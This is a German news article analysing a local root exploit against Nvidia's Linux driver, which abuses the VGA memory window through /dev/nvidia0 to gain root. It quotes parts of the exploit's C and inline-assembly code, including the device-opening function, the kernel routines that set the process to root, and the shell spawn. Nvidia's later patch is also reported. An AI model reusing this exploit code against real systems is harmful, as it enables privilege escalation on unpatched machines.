Nvidia-Treiber: Lokaler Root-Exploit im Umlauf

Besitzer von Nvidia-Grafikkarten können die volle Leistungsfähigkeit der verbauten GPU unter Linux nur mit Hilfe der proprietären Binärtreiber des Herstellers nutzen, obwohl das Nouveau-Projekt auch eine Open-Source-Lösung anbietet.

Vor kurzem wurde dem X.org-Entwickler und Subsystem-Maintainer Dave Airlie ein Nvidia-Root-Exploit anonym zugespielt, den er kurze Zeit später auf der Full-Disclosure-Mailingliste veröffentlichte. Einen Monat zuvor hatte der unbekannte Autor diesen nach eigenen Angaben bereits an Nvidia geschickt, worauf jedoch keine Reaktion seitens des Grafikkartenherstellers erfolgte.

Der Exploit besteht aus knapp 800 Zeilen C-und Assembler-Code und lässt sich problemlos via

gcc -o exploit exploit.c

übersetzen. Anschließendes Ausführen bringt unmittelbar eine Root-Shell auf den Schirm, falls der Treiber nicht aktualisiert wurde. Dies wurde mittlerweile auf zahlreichen Systemen erfolgreich getestet. Es ist davon auszugehen, dass der Exploit derzeit vermehrt zum Einsatz kommt.

Mit Hilfe des Exploits kann ein lokaler Angreifer auf beliebige Bereiche des Systemspeichers zugreifen und so auch Befehle mit Root-Rechten ausführen.

Der Nvidia-Treiber stellt für die Kommunikation zwischen Kernel- und Userspace wie andere Treiber Geräte-Dateien im “/dev”-Verzeichnis bereit, beispielsweise “/dev/nvidia”. Diese kann ein lokaler Angreifer dazu verwenden, das VGA-Speicher-Fenster so zu verschieben, dass über die Geräte-Datei der Zugriff auf beliebigen Speicher möglich ist.

Wer sich den Exploit genauer ansieht stellt in der Tat fest, dass er zunächst versucht, eine der folgenden Geräte-Dateien zu öffnen:

/sys/bus/pci/drivers/nvidia
/sys/bus/pci/drivers/nvidia/%s/resource
/dev/nvidia0

Das ist in die folgende Funktion des Exploits verpackt:

static int nvidia_fd(uint64_t *res)
{ struct dirent **list; int fd, resfd, ret; char buf[256]; ret = scandir("/sys/bus/pci/drivers/nvidia", &list, dirfilter, versionsort); if (ret <= 0) goto fail; sprintf(buf, "/sys/bus/pci/drivers/nvidia/%s/resource", list[0]->d_name); resfd = open(buf, O_RDONLY); if (resfd < 0) goto fail; read(resfd, buf, sizeof(buf)); *res = strtoll(buf, NULL, 16); close(resfd); if ((fd = open("/dev/nvidia0", O_RDWR)) < 0) goto fail; return fd; fail: perror("COULD NOT DO SUPER SECRET HACKING STUFF, YOU ARE ON YOUR OWN!"); *res = 0; return -1;
}

Im Erfolgsfall liefert die Funktion ein Datei-Handle auf die Gerätedatei zurück. Anschließend wird die Exploit-Funktion “nvidia_handle()” aufgerufen, die VGA-Operationen durchführt, welche letztlich das VGA-Fenster verschieben. Dieser Zugriffsspeicher wird solange verschoben, bis der Code im Kernel-Speicher-Bereich angekommen ist. Dort angelangt, ruft der Exploit die Funktion “callsetroot()” auf, die durch Register-Manipulation den aktuellen Prozess (“current_task”) auf Root-UID setzt:

__used __kernel extern long callsetroot(long uid, long gid);
#define FN(x) ".globl " x "\n\t.type " x ",@function\n\t" x ":\n\t.cfi_startproc\n\t"
#define END ".cfi_endproc\n\t"
asm(
".text\n\t.align 4\n\t"
FN("testgetroot") // AND HAVE FUN! :D
#ifdef __x86_64__ "swapgs\n\t" "call getroot\n\t" "swapgs\n\t" "iretq\n\t"
#else "mov %fs, %edi\n\t" "mov $0xd8, %esi\n\t" "mov %esi, %fs\n\t" "call getroot\n\t" "mov %edi, %fs\n\t" "iretl\n\t"
#endif
END
FN("gettask")
#ifdef __x86_64__ // Grab some offsets from system_call "mov $0xc0000082, %ecx\n\t" "rdmsr\n\t" "movslq %eax, %rax\n\t" // Fuck optional alignment, fix it by looking for // the start prefix of our lovely mov %gs:.. in system_call we just found // this will get us kernel_stack, in which most cases it means that // our current_task is right below it // This is only needed if kallsyms fails "1:\n\t" "cmpw $0x4865, 0x3(%rax)\n\t" "je 2f\n\t" "incq %rax\n\t" "jmp 1b\n\t" "2:\n\t" "movl 17(%rax), %edx\n\t" // blegh padding "3:\n\t" "addl $8, %edx\n\t" "movq %gs:(%edx), %rax\n\t" "test %eax, %eax\n\t" "jz 3b\n\t" "cmpl $-1, %eax\n\t" "je 3b\n\t"
#else // TODO: maybe.. "xor %eax, %eax\n\t"
#endif "ret\n\t"
END
#define S2(x) #x
#define S1(x) S2(x)
FN("callsetroot")
#ifdef __x86_64__ "int $" S1(ENTRY) "\n\t"
#else "push %edi\n\t" "push %esi\n\t" "int $" S1(ENTRY) "\n\t" "pop %esi\n\t" "pop %edi\n\t"
#endif "ret\n\t"
END
".previous");

Nachdem dem Prozess so Root-Rechte verschafft wurden, ruft der Exploit via

execl("/bin/bash", "sh", NULL);

einfach eine Shell auf. Damit ist der lokale Angreifer im Besitz einer Root-Shell und kann beliebige weitere Befehle mit
Root-Rechten ausführen.

Nvidia hat kürzlich auf das Problem reagiert und neue Treiber veröffentlicht. Da der Exploit entscheidend darauf beruht, das VGA-Fenster zu verschieben, wurde diese Möglichkeit nun deaktiviert. Daneben verbietet die neue Version auch den Zugriff auf Register, die GPU-interne Microcontroller steuern.

Erst im April diesen Jahres musste Nvidia eine ähnliche Sicherheitslücke korrigieren, die ebenfalls den Zugriff auf beliebigen Systemspeicher erlaubte.

Nach oben